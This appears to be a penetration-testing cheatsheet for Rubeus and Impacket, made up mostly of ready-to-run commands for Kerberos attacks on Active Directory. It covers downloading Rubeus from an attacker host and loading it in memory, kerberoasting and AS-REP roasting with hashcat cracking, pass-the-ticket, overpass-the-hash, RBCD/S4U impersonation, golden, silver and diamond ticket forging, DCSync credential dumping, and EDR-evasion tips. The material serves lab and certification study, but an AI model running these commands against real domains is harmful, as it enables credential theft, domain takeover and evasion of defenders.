AD^:Active Directory

Rubeus

Rubeus Kerberos abuse: kerberoast, asreproast, ticket forging, S4U, pass-the-ticket, overpass-the-hash.

advancedupdated 2026-10-12Rubeus

Rubeus

A scoped service-ticket workflow

The report requests tickets for a named trusted domain. Verify that the current domain session can reach that domain’s KDC and the requested service account; the existence of a trust does not guarantee every account or service is accessible.

.\Rubeus.exe kerberoast /domain:example.test /user:service-user /outfile:C:\Lab\service-user.tgs

Record the ticket encryption type and choose the corresponding cracking mode. Requesting a ticket is not password recovery, and possessing a TGT is not permission to every service. To abuse writable SPNs from your operator host, use the scoped targetedKerberoast workflow instead. Read Rubeus upstream for switches matching the build you use.

Rubeus is a C# toolset for raw Kerberos interaction and abuse. It talks directly to the Windows Kerberos API and the KDC — it doesn’t need admin rights for most operations and doesn’t touch LSASS directly (unlike Mimikatz), making it stealthier.

Core capabilities:

  • Request, harvest, inject, and forge Kerberos tickets
  • Kerberoasting, AS-REP Roasting
  • Pass-the-Ticket, Overpass-the-Hash
  • S4U2Self/S4U2Proxy (RBCD/Delegation abuse)
  • Golden/Silver/Diamond ticket creation (needs hashes)

Getting Rubeus onto a Target

# From your attacking machine — host it over HTTP
python3 -m http.server 80

# On target — download it
certutil -urlcache -f http://10.10.14.x/Rubeus.exe Rubeus.exe
iwr -uri http://10.10.14.x/Rubeus.exe -outfile Rubeus.exe

# If you have a shell via Evil-WinRM
upload Rubeus.exe

# Run in memory (avoids dropping to disk) — load .NET assembly
$data = (New-Object Net.WebClient).DownloadData('http://10.10.14.x/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("kerberoast".Split())

Enumeration

# List all Kerberos tickets in current session
.\Rubeus.exe klist

# List tickets for ALL users (needs admin)
.\Rubeus.exe klist /all

# Dump all tickets from all sessions (admin required — touches LSASS)
.\Rubeus.exe dump

# Dump tickets for a specific service
.\Rubeus.exe dump /service:krbtgt

# Dump tickets from a specific LUID (logon session ID)
.\Rubeus.exe dump /luid:0x3e7

# Show Kerberos settings / current user info
.\Rubeus.exe currentluid

Harvesting Tickets

Harvest monitors for new 4768 (TGT request) events and captures tickets as users log in — useful for persistence during an engagement.

# Monitor and harvest TGTs from all new logons (admin required)
# Captures every TGT as it's issued — waits 30s between checks
.\Rubeus.exe harvest /interval:30

# Save harvested tickets to a directory
.\Rubeus.exe harvest /interval:30 /outdir:C:\tickets\

# Harvest and immediately inject the first ticket found
.\Rubeus.exe harvest /interval:30 /nowrap

Kerberoasting

Request TGS tickets for accounts with SPNs set — the ticket is encrypted with the service account’s password hash, which you then crack offline.

# Roast ALL accounts with SPNs
.\Rubeus.exe kerberoast

# Output to a file for hashcat/john
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Only roast AES-capable accounts (more realistic, harder to crack)
.\Rubeus.exe kerberoast /aes

# Roast a specific user
.\Rubeus.exe kerberoast /user:svc_sql

# Roast with a specific TGT (if you have one)
.\Rubeus.exe kerberoast /ticket:doIFuD...base64...

# Roast using credentials (useful if you're on Linux or need to specify DC)
# -- Run from a domain-joined machine or with /domain /dc flags --
.\Rubeus.exe kerberoast /creduser:DOMAIN\user /credpassword:Password123

# Force RC4 downgrade via TGT delegation trick (weaker, easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg

# Nowrap — don't wrap long base64 output (easier to copy/paste)
.\Rubeus.exe kerberoast /outfile:hashes.txt /nowrap

Crack with hashcat:

# Kerberoast (RC4) hashes are mode 13100
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# AES-256 tickets use mode 19700, AES-128 use 19600
hashcat -m 19700 hashes.txt /usr/share/wordlists/rockyou.txt

AS-REP Roasting

Targets accounts with “Do not require Kerberos preauthentication” — you can request an AS-REP without knowing the password, and the response contains an encrypted blob crackable offline.

# Roast all users without preauth set (needs valid domain user creds to query LDAP)
.\Rubeus.exe asreproast

# Save output for cracking
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

# Target a specific user
.\Rubeus.exe asreproast /user:jsmith

# Force RC4 (easier to crack)
.\Rubeus.exe asreproast /rc4opsec

# Nowrap for easy copy
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt /nowrap

# From Linux with Impacket (no creds needed if you know usernames)
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.11.x -outputfile asrep.txt

Crack with hashcat:

# AS-REP hashes are mode 18200
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

Requesting TGTs (asktgt)

Ask the KDC directly for a TGT using credentials or hashes.

# Request TGT with plaintext password
.\Rubeus.exe asktgt /user:administrator /password:Password123 /domain:PAINTERS.HTB /dc:dc.painters.htb

# Request TGT using NTLM hash (RC4 encryption)
.\Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH_HERE /domain:PAINTERS.HTB /ptt

# Request TGT using AES256 key (stealthier — preferred)
.\Rubeus.exe asktgt /user:administrator /aes256:AES_KEY_HERE /domain:PAINTERS.HTB /ptt

# Request TGT and save as .kirbi file (portable ticket format)
.\Rubeus.exe asktgt /user:svc_sql /rc4:HASH /domain:PAINTERS.HTB /outfile:svc_sql.kirbi

# Request TGT and get base64 blob (easy to copy)
.\Rubeus.exe asktgt /user:svc_sql /rc4:HASH /domain:PAINTERS.HTB /nowrap

# Request TGT and immediately inject (/ptt = pass the ticket)
.\Rubeus.exe asktgt /user:administrator /rc4:HASH /domain:PAINTERS.HTB /dc:dc.painters.htb /ptt

Pass-the-Ticket (PTT)

Take an existing ticket (base64 blob or .kirbi file) and inject it into your current session.

# Inject from base64 blob (paste the whole base64 string)
.\Rubeus.exe ptt /ticket:doIFuDCCBbSgAwIBBaED...

# Inject from .kirbi file
.\Rubeus.exe ptt /ticket:administrator.kirbi

# Verify it worked
.\Rubeus.exe klist
klist  # built-in Windows command

# Purge all current Kerberos tickets (clean slate)
.\Rubeus.exe purge

# Purge tickets from a specific LUID
.\Rubeus.exe purge /luid:0x5e73f

# After PTT — test access
dir \\dc.painters.htb\c$
net use \\dc.painters.htb\c$

Workflow with a TGT blob:

# 1. Inject the TGT
.\Rubeus.exe ptt /ticket:doIFuDCCBbSgAwIBBaEDAgEWooIEujCCBLZhgg...

# 2. Ask for a CIFS service ticket (for file shares / PsExec)
.\Rubeus.exe asktgs /ticket:doIFuD... /service:cifs/dc.painters.htb /ptt

# 3. Ask for LDAP ticket (for DCSync)
.\Rubeus.exe asktgs /ticket:doIFuD... /service:ldap/dc.painters.htb /ptt

# 4. Ask for HTTP ticket (for WinRM)
.\Rubeus.exe asktgs /ticket:doIFuD... /service:http/dc.painters.htb /ptt

# 5. Ask for HOST ticket (for PsExec / remote task scheduling)
.\Rubeus.exe asktgs /ticket:doIFuD... /service:host/dc.painters.htb /ptt

Overpass-the-Hash (OPtH)

Convert an NTLM hash into a valid Kerberos TGT — lets you do Kerberos auth instead of NTLM, bypassing NTLM restrictions.

# Classic OPtH — inject TGT derived from NTLM hash
.\Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /domain:PAINTERS.HTB /ptt

# Spawn a new process with the ticket injected (doesn't affect current session)
.\Rubeus.exe asktgt /user:administrator /rc4:HASH /domain:PAINTERS.HTB /createnetonly:C:\Windows\System32\cmd.exe

# Use AES256 for OPSEC (no RC4 downgrade logged)
.\Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /domain:PAINTERS.HTB /opsec /ptt

Pass-the-Hash with Rubeus

Rubeus doesn’t do traditional PTH (that’s Mimikatz territory) but you can chain it:

# Step 1: Use the NTLM hash to get a TGT (Overpass-the-Hash)
.\Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /domain:PAINTERS.HTB /nowrap

# Step 2: Inject that TGT
.\Rubeus.exe ptt /ticket:<base64_from_above>

# Step 3: Now use any tool — Kerberos will auth transparently
dir \\dc.painters.htb\c$

For pure PTH (SMB, not Kerberos) — use Impacket from Linux instead:

# Impacket PTH — no ticket needed
psexec.py PAINTERS/Administrator@10.10.11.x -hashes :NTLM_HASH
wmiexec.py PAINTERS/Administrator@10.10.11.x -hashes :NTLM_HASH
smbexec.py PAINTERS/Administrator@10.10.11.x -hashes :NTLM_HASH

Using Tickets with Evil-WinRM

Evil-WinRM supports Kerberos auth but it’s easier from Linux using a .ccache file.

# Step 1: Get a TGT from Linux using Impacket (outputs .ccache)
getTGT.py PAINTERS.HTB/administrator -hashes :NTLM_HASH
getTGT.py PAINTERS.HTB/administrator -dc-ip 10.10.11.x

# OR convert a .kirbi (Windows format) to .ccache (Linux format)
ticketConverter.py admin.kirbi admin.ccache

# Step 2: Export the ccache as the KRB5CCNAME env variable
export KRB5CCNAME=/path/to/admin.ccache

# Step 3: Add domain to /etc/hosts
echo "10.10.11.x dc.painters.htb painters.htb" >> /etc/hosts

# Step 4: Connect with Evil-WinRM using Kerberos auth (use FQDN, not IP)
evil-winrm -i dc.painters.htb -r PAINTERS.HTB

# Step 5: Verify who you are
whoami
klist

Method 2: Dump from Windows, convert on Kali

# Dump the ticket from Windows to a file
.\Rubeus.exe dump /service:http /nowrap
# Copy the base64 output
# Then on Kali: decode and convert
echo "doIFuD...base64..." | base64 -d > admin.kirbi
ticketConverter.py admin.kirbi admin.ccache
export KRB5CCNAME=admin.ccache
evil-winrm -i dc.painters.htb -r PAINTERS.HTB

Evil-WinRM Kerberos config on Kali

# One-liner to generate /etc/krb5.conf (realm must be UPPERCASE)
cat > /etc/krb5.conf << EOF
[libdefaults]
    default_realm = PAINTERS.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
[realms]
    PAINTERS.HTB = {
        kdc = dc.painters.htb
        admin_server = dc.painters.htb
    }
[domain_realm]
    .painters.htb = PAINTERS.HTB
    painters.htb = PAINTERS.HTB
EOF

Using Tickets with PsExec

PsExec uses SMB (CIFS + IPC$) — you need a CIFS service ticket.

From Windows (Rubeus PTT → PsExec)

# Step 1: Inject TGT
.\Rubeus.exe ptt /ticket:doIFuD...

# Step 2: Request CIFS ticket (or it auto-derives from TGT)
.\Rubeus.exe asktgs /ticket:doIFuD... /service:cifs/dc.painters.htb /ptt

# Step 3: Run PsExec
.\PsExec.exe \\dc.painters.htb cmd.exe
.\PsExec.exe \\dc.painters.htb -s cmd.exe   # -s = SYSTEM context

# Verify in the new session
whoami
hostname

Using Impacket psexec from Linux (more reliable)

# With NTLM hash directly (PTH)
psexec.py PAINTERS/Administrator@10.10.11.x -hashes :NTLM_HASH

# With Kerberos ticket (ccache)
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass PAINTERS/Administrator@dc.painters.htb

# With password
psexec.py PAINTERS/Administrator:Password123@10.10.11.x

# Other Impacket exec tools (use same syntax)
wmiexec.py  -k -no-pass PAINTERS/Administrator@dc.painters.htb          # WMI — no service created
smbexec.py  -k -no-pass PAINTERS/Administrator@dc.painters.htb          # SMB — stealthier than psexec
atexec.py   -k -no-pass PAINTERS/Administrator@dc.painters.htb "whoami" # Task scheduler

Using Tickets with Impacket Tools

Ticket Conversion (kirbi ↔ ccache)

# Rubeus gives you base64 (.kirbi format internally); Impacket uses .ccache
echo "doIFuDCCBbSgAwIBBaED..." | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache

DCSync with secretsdump.py

export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass PAINTERS/Administrator@dc.painters.htb

# Dump just NTLM hashes
secretsdump.py -k -no-pass -just-dc-ntlm PAINTERS/Administrator@dc.painters.htb

# Dump specific user
secretsdump.py -k -no-pass -just-dc-user krbtgt PAINTERS/Administrator@dc.painters.htb

Full Impacket Kerberos Tool Reference

# Get TGT (outputs .ccache automatically)
getTGT.py PAINTERS.HTB/user:password
getTGT.py PAINTERS.HTB/user -hashes :NTLM_HASH
export KRB5CCNAME=user.ccache

# Get TGS for specific service
getST.py -spn cifs/dc.painters.htb PAINTERS.HTB/user:password
getST.py -spn cifs/dc.painters.htb -hashes :HASH PAINTERS.HTB/user

# S4U impersonation (RBCD — see S4U section)
getST.py -spn cifs/dc.painters.htb -impersonate Administrator \
  -dc-ip 10.10.11.x PAINTERS.HTB/FAKE-COMP01$:Password123

# Kerberoast from Linux
GetUserSPNs.py PAINTERS.HTB/user:password -dc-ip 10.10.11.x -request
GetUserSPNs.py PAINTERS.HTB/user:password -dc-ip 10.10.11.x -request -outputfile kerberoast.txt

# AS-REP roast from Linux
GetNPUsers.py PAINTERS.HTB/ -usersfile users.txt -dc-ip 10.10.11.x -no-pass -outputfile asrep.txt
GetNPUsers.py PAINTERS.HTB/user:password -dc-ip 10.10.11.x -request  # authenticated

Note — Modern Impacket installs (pip/apt) also expose these as impacket-getTGT, impacket-secretsdump, etc. The .py example names still work when installed from source or when the examples are on PATH.

S4U Attacks (RBCD / Constrained Delegation)

S4U2Self + S4U2Proxy (Resource-Based Constrained Delegation)

The chain: you own a machine account → configure RBCD → impersonate any user for any service on the target.

Full attack chain:

# Prerequisites:
# 1. You have GenericWrite/GenericAll on a computer object (or can create machine accounts)
# 2. MachineAccountQuota > 0 (default is 10)

# Step 1: Create a fake computer account (Powermad)
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount NETRUNNER-PC -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force)

# Step 2: Get the NTLM hash of the fake computer's password
.\Rubeus.exe hash /password:Passw0rd! /user:NETRUNNER-PC$ /domain:PAINTERS.HTB
# Note the rc4_hmac value

# Step 3: Set RBCD on target — allow our fake PC to delegate
Set-ADComputer -Identity "DC" -PrincipalsAllowedToDelegateToAccount "NETRUNNER-PC$"
# Or using PowerView:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-...NETRUNNER-PC$-SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity DC -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Step 4: S4U attack — impersonate Administrator for CIFS on DC
.\Rubeus.exe s4u /user:NETRUNNER-PC$ /rc4:NTLM_HASH_OF_PC \
  /impersonateuser:Administrator \
  /msdsspn:cifs/dc.painters.htb \
  /domain:PAINTERS.HTB \
  /dc:dc.painters.htb \
  /ptt

# Step 5: Use access
dir \\dc.painters.htb\c$
.\PsExec.exe \\dc.painters.htb cmd.exe

# For different services — change /msdsspn:
/msdsspn:ldap/dc.painters.htb    # DCSync
/msdsspn:http/dc.painters.htb    # WinRM
/msdsspn:host/dc.painters.htb    # Task scheduler / WMI

RBCD from Linux (Impacket):

# Set RBCD attribute
rbcd.py -f NETRUNNER-PC -t DC -dc-ip 10.10.11.x 'PAINTERS.HTB/user:password'

# S4U attack
getST.py -spn cifs/dc.painters.htb -impersonate Administrator \
  -dc-ip 10.10.11.x 'PAINTERS.HTB/NETRUNNER-PC$:Passw0rd!'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass PAINTERS/Administrator@dc.painters.htb

Golden Tickets

Forge a TGT using the krbtgt hash. Valid for 10 years by default. Works even if the real user’s password changes.

# Prerequisites: krbtgt NTLM hash + Domain SID

# Step 1: Get domain SID (all but the last -XXXX of your own SID)
whoami /user

# Step 2: Craft golden ticket (AES256 preferred)
.\Rubeus.exe golden /aes256:KRBTGT_AES256_KEY \
  /user:Administrator \
  /domain:PAINTERS.HTB \
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  /ptt

# With RC4 (NTLM hash of krbtgt)
.\Rubeus.exe golden /rc4:KRBTGT_NTLM_HASH \
  /user:FakeUser \
  /domain:PAINTERS.HTB \
  /sid:S-1-5-21-... \
  /ptt

# Save to file instead of injecting
.\Rubeus.exe golden /rc4:HASH /user:Administrator /domain:PAINTERS.HTB \
  /sid:S-1-5-21-... /outfile:golden.kirbi

# Verify
klist
dir \\dc.painters.htb\c$

From Linux (Impacket):

# ticketer.py creates .ccache golden tickets
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... \
  -domain PAINTERS.HTB Administrator

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass PAINTERS/Administrator@dc.painters.htb

Silver Tickets

Forge a TGS for a specific service using the service account’s NTLM hash. More targeted and stealthier than golden (doesn’t contact KDC).

# Forge a CIFS ticket (file shares, PsExec) using machine account hash
.\Rubeus.exe silver /rc4:MACHINE_ACCOUNT_NTLM \
  /user:Administrator \
  /service:cifs/dc.painters.htb \
  /domain:PAINTERS.HTB \
  /sid:S-1-5-21-... \
  /ptt

# Forge HTTP ticket (WinRM)
.\Rubeus.exe silver /rc4:HASH /user:Administrator \
  /service:http/dc.painters.htb \
  /domain:PAINTERS.HTB /sid:S-1-5-21-... /ptt

# Forge LDAP ticket (DCSync)
.\Rubeus.exe silver /rc4:HASH /user:Administrator \
  /service:ldap/dc.painters.htb \
  /domain:PAINTERS.HTB /sid:S-1-5-21-... /ptt

# Forge MSSQLSvc ticket (SQL Server)
.\Rubeus.exe silver /rc4:HASH /user:Administrator \
  /service:MSSQLSvc/sql.painters.htb:1433 \
  /domain:PAINTERS.HTB /sid:S-1-5-21-... /ptt

Common service names for SPNs:

ServiceSPN PrefixUse Case
SMB/Filecifs/File access, PsExec
WinRMhttp/Evil-WinRM, PS Remoting
LDAPldap/DCSync, LDAP queries
WMIhost/WMI execution
SQL ServerMSSQLSvc/SQL auth
RDPTERMSRV/RDP access
Kerberos (golden)krbtgt/Get any ticket

Diamond Tickets

Newer technique — modifies a real TGT rather than forging from scratch. Much harder for EDR to detect since the PAC is signed by the real KDC.

# Requires: krbtgt hash + user creds
.\Rubeus.exe diamond /tgtdeleg \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:519 \
  /krbkey:KRBTGT_AES256 \
  /domain:PAINTERS.HTB \
  /dc:dc.painters.htb \
  /ptt

Ticket Renewal & Manipulation

# Renew a TGT before it expires
.\Rubeus.exe renew /ticket:doIFuD...
.\Rubeus.exe renew /ticket:admin.kirbi /ptt

# Auto-renew every 30 minutes
.\Rubeus.exe renew /ticket:doIFuD... /autorenew

# Describe a ticket (show its contents without cracking)
.\Rubeus.exe describe /ticket:doIFuD...

# Triage — show all tickets across all logon sessions (admin)
.\Rubeus.exe triage

# Convert kirbi to base64 and back
.\Rubeus.exe decode /ticket:doIFuD...

Roasting from Linux (Impacket alternatives)

When you’re attacking from Kali and don’t have a foothold yet (or don’t want to drop Rubeus):

# Kerberoast — needs valid credentials
GetUserSPNs.py PAINTERS.HTB/user:password -dc-ip 10.10.11.x -request
GetUserSPNs.py PAINTERS.HTB/user -hashes :NTLM -dc-ip 10.10.11.x -request -outputfile kerb.txt

# AS-REP roast — needs username list
GetNPUsers.py PAINTERS.HTB/ -usersfile users.txt -dc-ip 10.10.11.x -no-pass
GetNPUsers.py PAINTERS.HTB/user:password -dc-ip 10.10.11.x -request -outputfile asrep.txt

# Crack
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt   # Kerberoast
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt  # AS-REP

OPSEC Tips

  • Use AES256 keys instead of RC4/NTLM — RC4 is flagged by modern EDR (/aes256:KEY instead of /rc4:HASH).
  • Use the /opsec flag where available — Rubeus applies stealth measures.
  • Use /createnetonly to spawn a hidden process with the ticket rather than injecting into your current session (avoids overwriting existing tickets).
  • Request tickets from non-DC machines — S4U from a workstation is less suspicious than from the attacker machine directly.
  • Use /enctype:aes256 when requesting service tickets.
  • Avoid /dump on modern environments — it touches LSASS and will trigger AV. Use /dump /luid:SPECIFIC_LUID instead of dumping everything.
  • Diamond tickets > Golden tickets for stealth (EDR-evasive).
  • Clean up: .\Rubeus.exe purge after you’re done.

Common Errors & Fixes

ErrorCauseFix
KDC_ERR_PREAUTH_FAILEDWrong password/hashVerify credentials/hash
KDC_ERR_C_PRINCIPAL_UNKNOWNUser doesn’t existCheck username spelling
KDC_ERR_S_PRINCIPAL_UNKNOWNSPN doesn’t existVerify SPN with setspn -L user
KRB_AP_ERR_SKEWClock skew > 5 minnet time \\dc /set /yes or ntpdate dc.domain.htb (or faketime on Linux)
KRB_AP_ERR_TKT_EXPIREDTicket too oldRequest a new TGT
ERROR_ACCESS_DENIED on PsExecNo admin rights or wrong service ticketVerify ticket SPN and user group membership
Kerberos errors in Evil-WinRM/etc/krb5.conf wrongCheck realm name is UPPERCASE, DNS resolves
No credentials cache foundKRB5CCNAME not setexport KRB5CCNAME=/path/to/ticket.ccache
KRB_AP_ERR_MODIFIEDWrong service account hash for silver ticketRe-extract the correct machine/service account hash

Quick Reference Card

HARVEST TICKETS:    Rubeus.exe harvest /interval:30
GET TGT:            Rubeus.exe asktgt /user:X /rc4:HASH /domain:D /ptt
INJECT TICKET:      Rubeus.exe ptt /ticket:BASE64_OR_KIRBI
REQUEST TGS:        Rubeus.exe asktgs /ticket:TGT /service:cifs/HOST /ptt
KERBEROAST:         Rubeus.exe kerberoast /outfile:hashes.txt /nowrap
AS-REP ROAST:       Rubeus.exe asreproast /outfile:hashes.txt /nowrap
LIST TICKETS:       Rubeus.exe klist | klist
DUMP TICKETS:       Rubeus.exe dump /nowrap
DESCRIBE TICKET:    Rubeus.exe describe /ticket:BASE64
S4U ATTACK:         Rubeus.exe s4u /user:PC$ /rc4:HASH /impersonateuser:Admin /msdsspn:cifs/HOST /ptt
GOLDEN TICKET:      Rubeus.exe golden /rc4:KRBTGT_HASH /user:Admin /domain:D /sid:S-1-5-21-... /ptt
SILVER TICKET:      Rubeus.exe silver /rc4:SVC_HASH /user:Admin /service:cifs/HOST /domain:D /sid:S /ptt
PURGE TICKETS:      Rubeus.exe purge

LINUX EVIL-WINRM:   export KRB5CCNAME=ticket.ccache && evil-winrm -i HOST -r REALM
LINUX PSEXEC:       export KRB5CCNAME=ticket.ccache && psexec.py -k -no-pass DOMAIN/user@HOST
LINUX DCSYNC:       export KRB5CCNAME=ticket.ccache && secretsdump.py -k -no-pass DOMAIN/user@HOST
CONVERT TICKET:     ticketConverter.py ticket.kirbi ticket.ccache

For use in authorised engagements only.

Keep ticket context, service identity and user identity separate

ItemWhat to inspect
TGTClient principal, realm, start/end time and flags
Service ticketExact service/SPN and server realm
Windows logon sessionLUID whose ticket cache will be used
Process identityLocal token from whoami, independent of a network ticket
.kirbi / ccacheDifferent representations of ticket material
.\Rubeus.exe currentluid
.\Rubeus.exe klist
.\Rubeus.exe describe /ticket:C:\Lab\service-ticket.kirbi

Importing a ticket does not rewrite the current process’s local account SID. whoami can remain unchanged while a network request uses the imported Kerberos identity.

Verify one ticket before using it

.\Rubeus.exe describe /ticket:C:\Lab\service-ticket.kirbi
.\Rubeus.exe ptt /ticket:C:\Lab\service-ticket.kirbi
klist

Run this in a dedicated test logon session. Confirm the expected service name and validity before one authorised service-access check. Importing into another LUID requires the necessary elevation and deliberately selecting that session; it is not the same as importing into the current one.

Move a ticket to Linux without losing its identity

ticketConverter.py service-ticket.kirbi service-ticket.ccache
export KRB5CCNAME="$PWD/service-ticket.ccache"
klist
smbclient.py -k -no-pass 'example.test/labuser@files01.example.test'

The example assumes the cache contains material suitable for cifs/files01.example.test. A service ticket for HTTP or LDAP is not a general TGT, and a different hostname may request a different SPN. Preserve a private original and compare the principal/service after conversion.

Encryption and error diagnosis

ObservationNext check
RC4 request rejectedSupported encryption types and correct account key
AES key failsCorrect key type, account and realm; key derivation is identity-sensitive
KRB_AP_ERR_MODIFIEDWrong service key, duplicate/mismatched SPN or name pointing at the wrong server
Ticket imported but service access deniedTicket service and resource authorisation
KDC_ERR_BADOPTION in S4UDelegation configuration, protected account and ticket requirements
Time/expiry errorUTC offset, start/end times and renewal eligibility

Finish without clearing unrelated sessions

Close the dedicated test session or purge only its intended cache after recording the result. Broad elevated purges can disrupt other users. Remove exported ticket files when the evidence-retention period ends; they are authentication material. Keep the Rubeus upstream reference with the recorded build because available switches and ticket techniques vary by revision.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.